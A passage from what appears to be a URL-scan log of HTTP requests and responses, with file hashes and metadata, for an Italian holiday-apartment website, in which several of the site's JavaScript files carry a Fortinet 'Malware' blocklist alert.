Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:36:17 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (37460)
Size:   11152
Md5:    9465d54c2a8f38050416b0ce1ff41290
Sha1:   38216bc5dbd3e40fe6aafbba436a08f894ba250b
Sha256: 3a2107968096e9b0cceb6f6061a73ca622bc98bb7b3be53ee2257f2268922c0b
                                        
                                            GET /wp-includes/js/jquery/ui/jquery.ui.accordion.min.js?ver=1.9.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:36:13 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (10286)
Size:   3202
Md5:    67731ec6dbb1c3ab536c4138030eb92d
Sha1:   e19da5657b275435c2a391dbf846ed1bb9463f86
Sha256: fd01fd7aa08ad2818bbe66819b6b4427bbf37c188f5ee9ac0e0275b31c370834

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /images/affiliate/330843/booknow_it.gif HTTP/1.1 
Host: aff.bstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/

search
                                         54.230.111.114
HTTP/1.1 301 Moved Permanently
Content-Type: text/html
                                        
Server: CloudFront
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 167
Connection: keep-alive
Location: https://aff.bstatic.com/images/affiliate/330843/booknow_it.gif
X-Cache: Redirect from cloudfront
Via: 1.1 c2b101e67ac25a2f0013450d56ecac38.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: OSL50-P1
X-Amz-Cf-Id: 5ecljHUFl5a7ZN7AmBDGYHi_35u_ocQfCbuDdFqxsyv5-VhCXKaa4g==


--- Additional Info ---
Magic:  HTML document text\012- HTML document text\012- HTML document, ASCII text, with CRLF line terminators
Size:   167
Md5:    f5d40b7259645010f9a248858ad14178
Sha1:   b3051d17a6ec8c9e166bf09a62b48261ab86957b
Sha256: 7f5007068d2b56ea9735e2490d60cff2e72cae312024ac1f6c91158eba47d05d
                                        
                                            GET /wp-content/themes/Lamoon/scripts/lamoon.js?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:32 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (370)
Size:   5318
Md5:    cc4456e12d1a133e93b6e9fdd61ec6e5
Sha1:   f5c57e7b8ee8da04e69b4ea7dbe7d5d339df4222
Sha256: 8c7d69ced2d79540d31786fd23689e88da0eee9371211ae835a20d87ff82a8f4

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/themes/Lamoon/scripts/jquery.validationEngine-en.js?ver=1.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:22 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:31 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (1219)
Size:   2182
Md5:    235a6e507a74a848431f8ac11e99f8da
Sha1:   29c7574953f6b7f9fdb733c2fffadfe6e0484691
Sha256: 5c53a582a0e0d4090aaeb98cc4325cbfc820f39b2a2eaf01d8478292b1bfe60c

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            POST /s/gts1d4/Tx6aREmafpE HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Mon, 28 Nov 2022 16:48:23 GMT
Cache-Control: public, max-age=14400
Server: scaffolding on HTTPServer2
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /wp-content/themes/Lamoon/scripts/jquery.ui.totop.min.js?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:30 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  HTML document, ASCII text, with very long lines (1091)
Size:   602
Md5:    2939dd2cb8d73617cebcaa903fa466ec
Sha1:   e43259e5c9eb343e2ff7176af61870aeaa684f23
Sha256: 0d1fa03e29e105a5c31d424a67c355c4a5a2aaec85d03dd2f7de144cf81c83ac
                                        
                                            GET /wp-content/themes/Lamoon/scripts/jquery-migrate-1.1.0.min.js?ver=1.1 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:34:25 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (6805)
Size:   2969
Md5:    3dfeeebf734424caa54e13b9f6fc1082
Sha1:   fb21ff920de41f227976c6b1e0d1a0d5878b6cef
Sha256: 3cc93037de507d5d6c70163a9bcb69d3c8ea9ba263206666ef0fc18986c3e593

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /wp-content/plugins/pricing-table/js/site/jquery.tipTip.minified.js?ver=3.5.2 HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: application/javascript
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept-Encoding
Last-Modified: Mon, 15 Jul 2013 05:36:45 GMT
X-ServerName: ipvsproxy166.ad.aruba.it
Content-Encoding: gzip


--- Additional Info ---
Magic:  ASCII text, with very long lines (4420)
Size:   1705
Md5:    d807d55654486b2ed58a6e05c6cafa1d
Sha1:   e8aef0916f3ac1f6d0ebf184a0dde5b46bd6e774
Sha256: f876c826458cfb2b9fd042e3ec4c318a6f125f38f88d7ab8248693bd813fb382

Alerts:
  Blocklists:
    - fortinet: Malware
                                        
                                            GET /s/lato/v23/S6uyw4BMUTPHjx4wXg.woff2 HTTP/1.1 
Host: fonts.gstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: http://www.ilportoappartamenti.com
Connection: keep-alive
Referer: http://fonts.googleapis.com/

search
                                         216.58.207.195
HTTP/1.1 200 OK
Content-Type: font/woff2
                                        
Accept-Ranges: bytes
Access-Control-Allow-Origin: *
Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/apps-themes
Cross-Origin-Resource-Policy: cross-origin
Cross-Origin-Opener-Policy: same-origin; report-to="apps-themes"
Report-To: {"group":"apps-themes","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/apps-themes"}]}
Timing-Allow-Origin: *
Content-Length: 23580
X-Content-Type-Options: nosniff
Server: sffe
X-XSS-Protection: 0
Date: Tue, 22 Nov 2022 18:20:17 GMT
Expires: Wed, 22 Nov 2023 18:20:17 GMT
Cache-Control: public, max-age=31536000
Age: 512886
Last-Modified: Tue, 26 Apr 2022 15:48:56 GMT


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 23580, version 1.0\012- data
Size:   23580
Md5:    e1b3b5908c9cf23dfb2b9c52b9a023ab
Sha1:   fcd4136085f2a03481d9958cc6793a5ed98e714c
Sha256: 918b7dc3e2e2d015c16ce08b57bcb64d2253bafc1707658f361e72865498e537
                                        
                                            GET /wp-content/plugins/social-media-widget/images/default/32/rss.png HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 1746
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:38:25 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  PNG image data, 32 x 32, 8-bit colormap, non-interlaced\012- data
Size:   1746
Md5:    9749e50bdf8da88aa490b16c1e180709
Sha1:   a09df4dd861b8e8f2e0dceaf68934a6a5404d986
Sha256: e9e999fe97c5e10e60b9529047d90f4e5be1129be09b8623928ec75d2d742015
                                        
                                            GET /wp-content/plugins/social-media-widget/images/default/32/email.png HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 1649
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:38:24 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  PNG image data, 32 x 32, 8-bit colormap, non-interlaced\012- data
Size:   1649
Md5:    e106d0a4b2bdb95851fbd8b663086533
Sha1:   f4bbdd428f22c58bf20b7972a91cc36543d4bdc5
Sha256: a420501515ea2a54aea2b3821779ee0974976a88dd7717276b029c885494ba75
                                        
                                            GET /wp-content/plugins/social-media-widget/images/default/32/facebook.png HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 634
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:38:24 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  PNG image data, 32 x 32, 8-bit colormap, non-interlaced\012- data
Size:   634
Md5:    82378b10a9b16af6fc2e089037660e4b
Sha1:   3b41821a2c28b414a727e477484d6f8ab219705c
Sha256: 81480cebe2ddeedde1af2e2a6f9eab352094abd78c75464705be2bcbb6e91b54
                                        
                                            GET /images/affiliate/330843/booknow_it.gif HTTP/1.1 
Host: aff.bstatic.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://www.ilportoappartamenti.com/
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

search
                                         54.230.111.114
HTTP/2 200 OK
content-type: image/gif
                                        
content-length: 681
server: nginx
date: Fri, 11 Nov 2022 01:49:14 GMT
last-modified: Tue, 09 Apr 2019 16:16:19 GMT
etag: "5cacc553-2a9"
expires: Sun, 11 Dec 2022 01:49:14 GMT
cache-control: max-age=2592000
access-control-allow-origin: *
nel: {"report_to":"default","max_age":600}
report-to: {"endpoints":[{"url":"https://nellie.booking.com/report"}],"max_age":600,"group":"default","failure_fraction":0.05}
accept-ranges: bytes
x-xss-protection: 1; mode=block
timing-allow-origin: *
x-cache: Hit from cloudfront
via: 1.1 b053873243f91b1bb6dc406ce0c67db4.cloudfront.net (CloudFront)
x-amz-cf-pop: OSL50-P1
x-amz-cf-id: X1fa6EyV8XZ7K0-YwpAxHHfWSyLw7F9VUtvXpFaRhrbBC0AtqaqeUQ==
age: 1522749
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  GIF image data, version 89a, 169 x 36\012- data
Size:   681
Md5:    507e683ee64f29989b891889a31d9fee
Sha1:   da70c1f476a44dd62ab4bc2f67b55ed7e77a51ee
Sha256: da38fe11aeef649c70e8ee4a4f608b5ef5cbe500e52850421d68d22f4ddd478e
                                        
                                            GET /wp-content/plugins/social-media-widget/images/default/32/youtube.png HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 1715
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:38:26 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  PNG image data, 32 x 32, 8-bit colormap, non-interlaced\012- data
Size:   1715
Md5:    a7f629359e02e7f5486c0a3d0de2bc2d
Sha1:   62a7ebd75d59a0fa06341a51be2f0836e98ccb18
Sha256: 78b5e23c32c684bc9079e0cadb39fd15335ad90e2cca9b3109d6aed244a3ab97
                                        
                                            GET /wp-content/plugins/social-media-widget/images/default/32/twitter.png HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 877
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:38:25 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  PNG image data, 32 x 32, 8-bit colormap, non-interlaced\012- data
Size:   877
Md5:    e41e7fc39e2b5888b3fc8e79788e27f6
Sha1:   c36704f196aef77534fabd1752443ab49cd82feb
Sha256: 0e2160fefe0b02729a87a03ef7f21fe2003b7054a7bbb5c11011c11a51a4156f
                                        
                                            GET /wp-content/themes/Lamoon/images/content-bg.gif HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/wp-content/themes/Lamoon/style.css?ver=1.4

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 9600
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:34:16 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  GIF image data, version 89a, 140 x 140\012- data
Size:   9600
Md5:    e0e391cbef918221c8b96f8e468df53d
Sha1:   31734c63f8d2c3377a7623268d9544e27fbaa6db
Sha256: 7e68a461b80bfaa0390c659f1479b50cfe2f0b9d373de32dba01b2e2b454fa8e
                                        
                                            GET /wp-content/themes/Lamoon/images/viola-menu-bg.png HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/wp-content/themes/Lamoon/css/colors/blue.css?ver=1.1

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 979
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:34:17 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  PNG image data, 15 x 53, 8-bit/color RGB, non-interlaced\012- data
Size:   979
Md5:    9c95c11bbe910d6a3c8745c9ceaf7f22
Sha1:   e4c05fe5d4a17ea361e84c9232f0d4d35fe48a54
Sha256: 74bdca5ccfa161cd5496c41e21a581bcfe1f46fd83020cbfa478fc90656f5923
                                        
                                            GET /wp-content/themes/Lamoon/images/gray-button.jpg HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/wp-content/themes/Lamoon/style.css?ver=1.4

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 8341
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:34:14 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS5 Windows, datetime=2012:07:25 01:20:50], baseline, precision 8, 5x35, components 1\012- data
Size:   8341
Md5:    d3676b9eb323ba14ebf84e0f530b22a2
Sha1:   bc8a97f118b92052bff9c1ef164241cc3163ae5e
Sha256: 8bd691cce42cee8c4f021dd7792c108517f813e3e336ec8953093046db036f41
                                        
                                            GET /wp-content/uploads/2014/10/wi-fi-zone.png HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 7716
Connection: keep-alive
Last-Modified: Fri, 03 Oct 2014 17:09:46 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  PNG image data, 117 x 100, 8-bit/color RGBA, non-interlaced\012- data
Size:   7716
Md5:    b823a36fd83670c2ef896f66fd56aa1c
Sha1:   9d6e820fbf7495add1c3f23dcc678f6eb65123de
Sha256: ed7d2151f3bc621bcc75a4968406c2df0632eecbc67e507be1ca790b51230fb1
                                        
                                            GET /wp-content/themes/Lamoon/images/social/author/email.png HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 458
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:39:23 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced\012- data
Size:   458
Md5:    da21c7e9153f1e24b931789ded5eea16
Sha1:   8db9f70156f75de19525e0dbd14f27bc46134789
Sha256: 066108946ebf098c62ee1e2cb5d690f8297fb7bd395be4ccb8d697937190eb7f
                                        
                                            GET /wp-includes/js/thickbox/loadingAnimation.gif HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/gif
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 15238
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:29:54 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  GIF image data, version 89a, 416 x 26\012- data
Size:   15238
Md5:    ce2268030dd2151b63cdf4ffc2f626ba
Sha1:   15280f21eb43f5fa7838dcf011f67d79e301b15f
Sha256: 6a486bb6036ea984d293ab009566e99e522abc19f8833c5fd49630be7eba0135
                                        
                                            GET /wp-content/uploads/2013/07/offerte-940x220.jpg HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/jpeg
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 60879
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:35:46 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 940x220, components 3\012- data
Size:   60879
Md5:    9b9ed27d6a4d3f859c99c83d608d74b7
Sha1:   76ae64de465b9a5555577e93d81b7e22a888b56c
Sha256: de86a9115eda091e44f6011fe732b469008188b0e486729fafea2d06de910ff1
                                        
                                            GET /wp-content/uploads/2013/06/logo-2.png HTTP/1.1 
Host: www.ilportoappartamenti.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/info-offerte/

search
                                         89.46.108.76
HTTP/1.1 200 OK
Content-Type: image/png
                                        
Server: aruba-proxy
Date: Mon, 28 Nov 2022 16:48:23 GMT
Content-Length: 39274
Connection: keep-alive
Last-Modified: Mon, 15 Jul 2013 05:35:20 GMT
Accept-Ranges: bytes
X-ServerName: ipvsproxy166.ad.aruba.it


--- Additional Info ---
Magic:  PNG image data, 250 x 161, 8-bit/color RGBA, non-interlaced\012- data
Size:   39274
Md5:    ee5eb2395ee2d1ef9ac40233ee016f7c
Sha1:   a74268e8edc884288efdb2fa5696d956d7f19cc3
Sha256: edb72d036a9a6e8c78e3ddcd8793bcb116f76753939dc579845e913b8ba9e787
                                        
                                            GET /ga.js HTTP/1.1 
Host: www.google-analytics.com
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://www.ilportoappartamenti.com/

search
                                         142.250.74.174
HTTP/1.1 200 OK
Content-Type: text/javascript
                                        
Strict-Transport-Security: max-age=10886400; includeSubDomains; preload
X-Content-Type-Options: nosniff
Vary: Accept-Encoding
Content-Encoding: gzip
Cross-Origin-Resource-Policy: cross-origin
Server: Golfe2
Content-Length: 17168
Date: Mon, 28 Nov 2022 15:05:59 GMT
Expires: Mon, 28 Nov 2022 17:05:59 GMT
Cache-Control: public, max-age=7200
Age: 6144
Last-Modified: Tue, 27 Sep 2022 22:01:05 GMT


--- Additional Info ---
Magic:  ASCII text, with very long lines (1305)
Size:   17168
Md5:    01d5892e6e243b52998310c2925b9f3a
Sha1:   58180151b6a6ee4af73583a214b68efb9e8844d4
Sha256: 7e90efb4620a78e8869796d256bcddbde90b853c8c15c5cc116cb11d3d17bc4d
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

search
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "B4D0EB0F30419D8E50FCC4EB71051C4E9A9B68F4E45DFCF5EBD5E4FB6D4E9901"
Last-Modified: Mon, 28 Nov 2022 09:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=21600
Expires: Mon, 28 Nov 2022 22:48:23 GMT
Date: Mon, 28 Nov 2022 16:48:23 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: */*
